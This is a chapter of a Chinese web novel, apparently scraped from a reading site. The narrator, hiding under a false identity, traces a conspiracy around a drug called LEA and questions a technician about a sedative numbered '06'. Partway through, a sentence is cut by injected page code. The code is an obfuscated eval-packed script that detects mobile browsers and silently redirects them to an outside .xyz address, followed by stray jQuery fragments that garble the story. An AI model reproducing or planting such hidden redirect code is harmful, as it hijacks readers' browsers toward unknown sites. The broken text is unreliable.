13. 抽丝剥茧的证据
作品:《上司说我不能掉马甲》 我没法回答吴潍,现在向我提“选择”的可能性?只会让我觉得,她是证明我曾经错误选择的存在。
并排快走到房间门口,我才决定说点什么。
“谢谢你。”我看着她刷卡进门,叹息似的对她说,“晚安,吴潍。”
她的回复听起来满足又愉快:“你也晚安!”
目送她进门,我回到房间,才看见衣柜边落地镜里的自己,难得挂上一点真心实意的浅笑。尴尬又不自在地捂嘴,我撇开视线。
移动两步,收敛心思,坐在床边,调出手环里没看完的管理局文件。
虽然本意上是为了转移注意力,看看管理局又扔给我什么强人所难的任务,但我很快就笑不出来了。
一份调令。一份更改负责人为“吴潍”的调令,发给了我。
其实严格来说不是调令,只是关于调查“第二次人类异常信仰案件”的任务书,下方的负责人有两位。一位是叶琦,下一个名字,就是吴潍。
看着叶琦名字旁边的“死亡”,我忽然再次感受到了无力的愤怒。我盯着任务书更改负责人的签发日期,正是我叶琦的死亡日期。
我不知道这种愤怒到底来自内因还是外因,还是两者都有。被LEA注射的属于叶琦的临时记忆已经模糊,但是她的情绪依然可以动摇我的理智。
我想抽烟,酗酒,像那些作品里的任何一位被现实击败的堕落人类一样,用任何一种上瘾物质催眠、摧毁身体,直到粉碎理智。
这份任务书两天前就准备好了,但我的拖沓导致管理局选择用这样的方式再次催促我,或者说,给了我一个回到过去生活的完美证据和理由。
管理局算好叶琦的死亡了吗?我关掉那份文件,抓着头发,站起身在房间里来回踱步。
我徒劳地去验证这份文件有一丝伪造的可能,但是没有。管理局联系我的账号是唯一的,我的手环都是管理局亲自配发的。
没有任何造假的余地,我的疑问本就是肯定回答。
手劲没控制好,拉得头皮生疼,但总算是冷静下来。我拉开阳台门,像以前一样试图抬头去看星空。
和煦的晚风从混凝土城市的另一头吹来,规律的荧光植被依附着垂直墙壁,层层叠叠地营造出自然而整洁的氛围。
但是没有星星,只有模糊的光点。记忆里清晰的银河现在只剩下一片晕染的白。
防护罩,厚实到隔绝酸雨极端环境的防护罩。天上的除了太阳,留下的痕迹都是遥远到成为书中的标识像素。
十年前熟悉的感觉,十年前我也在这种环境下做出决定。我长叹一口气,看着自己的右手。
想逃都逃不掉,但是解脱很简单,管理局想我选择的解脱很简单。
只需要半夜敲敲她的门,随便甩一些真心或者假意的深夜闺话,摸出匕首、枕头或者房间里的任何实体物件,就可以轻轻松松地结束这一切,假装下层的十年从来没有存在过。
“吴潍”这个人就只是长达十年的调职、调查、卧底,或是去做另有掩人耳目的秘密任务。
管理局安排好了我回归的剧本。他们甚至没有更改技术支持提供,“林执”两个字依然白纸黑字地写在文件上。
我只需要动手,但这么做只是重蹈覆辙。
我无处发泄我的情绪。没有办法言说的负罪感和愧疚感几乎充斥着我的内心,我并非自诩悲观主义者,但我所知的现实、真相,只会让我不得不走向悲观主义。
我没得选,吴潍,我没得选。
我想祈祷,但我的信仰配不上任何一位神明的注目。我是自私的,我是天真的,以为只要自己选择沉默,选择顺从,就不会伤害任何人。
迟钝的思维跟着身体需求。洗完澡,我看着镜子里的自己。那双黑色的美瞳已经跟了我十年,到如今,我看着吴潍反而是有些陌生。
我知道,这个世界上没有神明。那些全知全能的生物、意识、东西根本不在乎人类的死活,否则祂们早该现身,博取人类关注了。
撇开无望的思绪,现在最重要的是抓紧时间休息。一想到还有无穷无尽的明天,就只剩下麻木的疲惫。
天蒙蒙亮,我就睡醒了。定点生物钟,身体比意识先清醒,直到习惯性的遮盖好面部细节,精神才和身体完全同步。
凌晨五点,倒计时九天。
一般来说,这个点我要么锻炼路过便利店门口,要么在回收目标周围蹲着,再不然就是一觉睡到下午两点的路上。当然,睡觉是极端情况。
说认真的,这算是身肩双职吧?能不能提加钱?我恶狠狠地想着。接手十年前的烂摊子,我都把曾经的核心组织成员处理干净了,还能发展成这样。
管理局真是尸位素餐。
我伸手关掉整个房间的光源,拉出手环的全息屏,借助房间设备投影到墙上,试图整理出一个关系网。
目前所有事件几乎都和LEA有关。LEA写在最顶上,组织和管理局的名称写在中间。
根据姚渊的暗示,人类异常信仰组织因为LEA而内部分化。可以推测,组织疑似提供LEA;管理局掩盖LEA;吴潍是走私LEA;叶琦对于LEA的态度不明朗,我只好先在她指向LEA的箭头上写着“调查”。
原本还想写上母亲的名字,但发现和LEA没有关联,于是我又擦去。
后退几步,观察全局事件。五个箭头指向LEA,其中唯一的突破口,就是疑似提供LEA的组织。
摸着下巴思考几秒,在只有一个“丈夫”箭头指向叶琦里的余殷旁边,用红色写上“06”,顺着箭头在叶琦旁边写上“LEA”。
余殷数字里难解的“06”似乎只差临门一脚。我坐在床边上,看着铺满墙壁的手写字体,视线顺着箭头再往往上。
从“06”到“LEA”。
LEA是可以记录人体一切反应的药剂,甚至包括部分记忆。这种复杂的药剂不会是一蹴而就,这么来看,“06”是药剂编号?还是版本?
余殷3822年去世,离第一次人类异常信仰案件过去了7年,编号或者版本从“00”开始,那也应该是“07”,而不是"06"。
况且,我根本不知道所谓LEA药剂的源头出现在哪一年,又在哪一年研发完毕投入使用。
一定有什么条件是我没有考虑到,甚至是我不知道的。余殷不能回到过去挑选时间,年份可能需要额外的操作,具体应该是什么?
手环突然闪了一下,打断了我的思绪。是一份检验报告,发件人是吴潍。
我差点要跳起来了。吴潍不应该把文件直接转发给我。她才是提出样本证据检验流程的提出人,发给我是严重的信息泄露。
被她算计了。我头疼地摁着太阳穴。吴潍不在乎自己是否会被处理,这份报告还能正常到她手里,就说明管理局并不打算对她出手。
她的重点是我。如果我没被管理局压过去谈话,这下她就能确定:管理局对我有超出常理的信任或者控制。
好消息是,管理局的默许能验证我确实是管理局“秘密组织”的成员,我对吴潍的编造的经历有了更直接的佐证。
至于坏消息,我太知道我自己会怎么想了。
一位辐射区异常归来的人类,怎么会在管理局有那么大的容忍度?甚至把调查异常组织这种重要案件交给“外人”?
要么,我是个被拿捏住把柄的倒霉蛋;要么,我本身就知道这些信息,本身就是组织案件的深度卷入者。
虽然吴潍查不查得到是另外一回事,但只能寄希望于曾经被我攻破的管理局防护升级过。
做好心理准备,我深呼吸,迅速冷静下来。
点开报告,跳过好几页看不懂的原理解释和方法对比,直奔结尾。
在余殷数字中推测出的坐标处,收集到的样本和医院使用的植物镇定剂成分一致。也就是说,LEA中含有这种植物镇定剂。
估算一下时间,差不多是林执熬了个通宵,才能在这个点发一份标准报告过来。
来不及再细想,关掉全息屏,有人在敲我的门。谨慎地透过猫眼去看来人,发现门口居然是林执。
我真是想不到他来做什么,犹豫着要不要开门,深呼吸,借着阳台的日出背光隐藏自己,在门后去问:“哪位?”
对方看见我明显一愣,只有一句意义不明的问候:“吴潍?”
我爱莫能助地摇头:“你要找的人在隔壁房间。”
林执反而笑了一声:“不用装傻,管理局给我的定位。”
我眨眨眼,固守着门板:“管理局的定位不会那么准。”
他似乎是有些无语地叹气,没有让步:“管理局给的房间号,我的视力还没差到那种地步。”
他举起左手手环,示意“你的手环只有核心管理层才会有”。不管我到底是什么人,管理局让他来找我是肯定的。
我暗自“啧”一声。因为吴潍从来没有进入过核心管理层,我把这茬忘了。普通人看不出来,这种管理局配发的手环是内部人员之间身份标识。
把他放进来,要周旋的问题很多。但是不放进来,感觉是我又要背叛管理局,才是真正的大问题。
我无言以对,只好放开了门。林执似乎才发现我不是“吴潍”本人一样,不知道是感叹还是困惑:“是你?”
所以我从病房里出来的时候,到底纯粹是运气问题,还是被管理局和姚渊联合下套了?我打开房间的顶灯,两手一摊:“Wined·Caster,你应该有我的联系方式,林执。”
他的眉头微不可见地皱了一下:“吴潍人呢?”
“跟你说了,”我心平气和地给林执倒了杯水,“在隔壁。”
“管理局不会犯这种低级错误。”他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284765|182377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
接过水杯,转手放在桌子上,语气有一丝不易察觉的复杂,仿佛是自言自语,“为什么是这个房间?”
我现在应该问“管理局怎么知道的房间号”吗?唉,其实根本不用想,管理局对我的定位精度能到半米内,这就是我宁愿去下层也不愿意在上层待着的原因。
“核心管理层的人这么闲?”我岔开话题,“大清早跑到这种边缘地方?”
林执靠在桌子边上,拿下度数不高的眼镜,捏了捏眉心。
没接我的疑问,也没有施舍给我视线,他似乎不想和我周旋太久:“你的名字显然是移民,你也有核心管理层的手环,所以是外聘顾问。但核心管理层没有你的名字,你到底是什么人?”
有些耳熟的推理,好像吴潍也是这么判断我的。
我踌躇着句子,是应该直接坦白,还是再迂回?管理局让他来找我,自然是打算把我的身份摊牌给他。林执是在验证我是原型?还是真的不知道?
没等我想出个所以然,仿佛是我的沉默暴露了一切,林执抓住机会,眉头压低,一字一句地把我逼到坦白:“我不知道你是谁,但你出现的时机非常微妙。”
我摩挲着指尖,和林执对视,压下心头的不妙。
面前的技术员明显压着熬了大夜、又被迫出外勤的打工人怒火,加上我的闭口不提和诸多疑点,看起来就像个理智拦着的感性火药桶。
我收起攻击性的肢体语言,试图安抚他,可不想点了他这个火药桶。
林执的疲惫和压抑的愤怒,让他听起来恐怖的冷静:“叶琦在你面前被无人机击杀,调文职的吴潍拿现场样本走检验流程,人类异常信仰案件管理局指名你带队,指名我一个幕后技术员和你会面——”
他戴上眼镜,缓了缓情绪,但镜片后视线在迫使我给他一个能让他信服的真相。压低了声音:“我问你,什么人会让管理局怎么重视?如此这么极端地利用你?信任你?”
“你自己当然有答案。”我盯着他,听出他句子里的不确定和确定,“管理局不会让一个全然不知的人接手信仰案件。”
林执沉默着,端起杯子的手有些颤抖,但是声音很平静:“第二世界是真的吗?”
“它只能是真的。”我回答林执,“所有延续至今的影响,都是因为它是真的。”
他放下杯子,不知道是如释重负,还是失望地叹气。最后终于开始讲述他到这的目的:“那份样本含有的成分,整个城市只有我的团队在做,而且是高度机密。不论如何,我都需要亲自来一趟。”
停顿片刻,我开口问他:“那份样本有什么问题?”
林执的食指敲了敲桌子:“样本是仿制品。”
我坐在床边,摸上下巴:“你的意思是组织掌握了这种药物?”
举起手指示意我中断这个想法,他仿佛在跟我上课:“不,准确来说,是掌握了曾经的镇定剂版本。”
版本。我抓到了关键词,等着他继续“上课”。这是给“上司”做解释的职业病,下一秒就该掏出PPT了。
果不其然,林执把自己的手环投屏,周围灯光自动变暗。好几团化学结构模型在我面前反复组合变换,最后变成两种略有不同的结构模型重合,标出不同点。
他的指尖点上标红的地方:“这几个结构化学键的缺失非常典型,需要实验室的特制催化剂才可以稳定出现。因此,我可以肯定,那份样本是反推植物镇定剂的成品——”
“被反推镇定剂的版本号,”我打断了林执的话,几乎可以确定答案,“是不是‘06’?”
林执移开视线,似乎在权衡是否应该说实话。最后他收回手环,整个房间亮了回去:“确实是‘06’,但你是怎么知道的?”
我暂时没有回答他。
姚渊为什么要故意放LEA原料被我们发现?他绝不可能是疏忽,一定有什么目的。
“你们在做什么成品?”我站起身,盯着林执的眼睛,“生命管理局,到底在做什么药剂?”
“机密。”林执在我的威胁下扶了扶眼镜,“这件事和你的案件无关。”
“组织也不应该有这种植物镇定剂。”我把他的关注点拉到现实,“被仿制的镇定剂到底是在做什么?”
林执又看了我一眼,似乎终于意识到我是他某种意义上的上司:“我只知道这种镇定成分可以做人体化学反应的稳定剂,而我的团队不负责这方向的应用。”
好耳熟的作用。
我咬唇:“林执,你知道LEA吗?”
没等林执回答,又有人在敲门。抬头,通过天花板看向自己未来的生命终点,我还得低下头面对有限的生命。
我示意他保持安静,穿过门廊透过猫眼去看,是吴潍。她站在门外左顾右盼,似乎在催促我。
“好慢啊。”她进门对我无心吐槽一句,“哪有老板叫员工起床的道理?”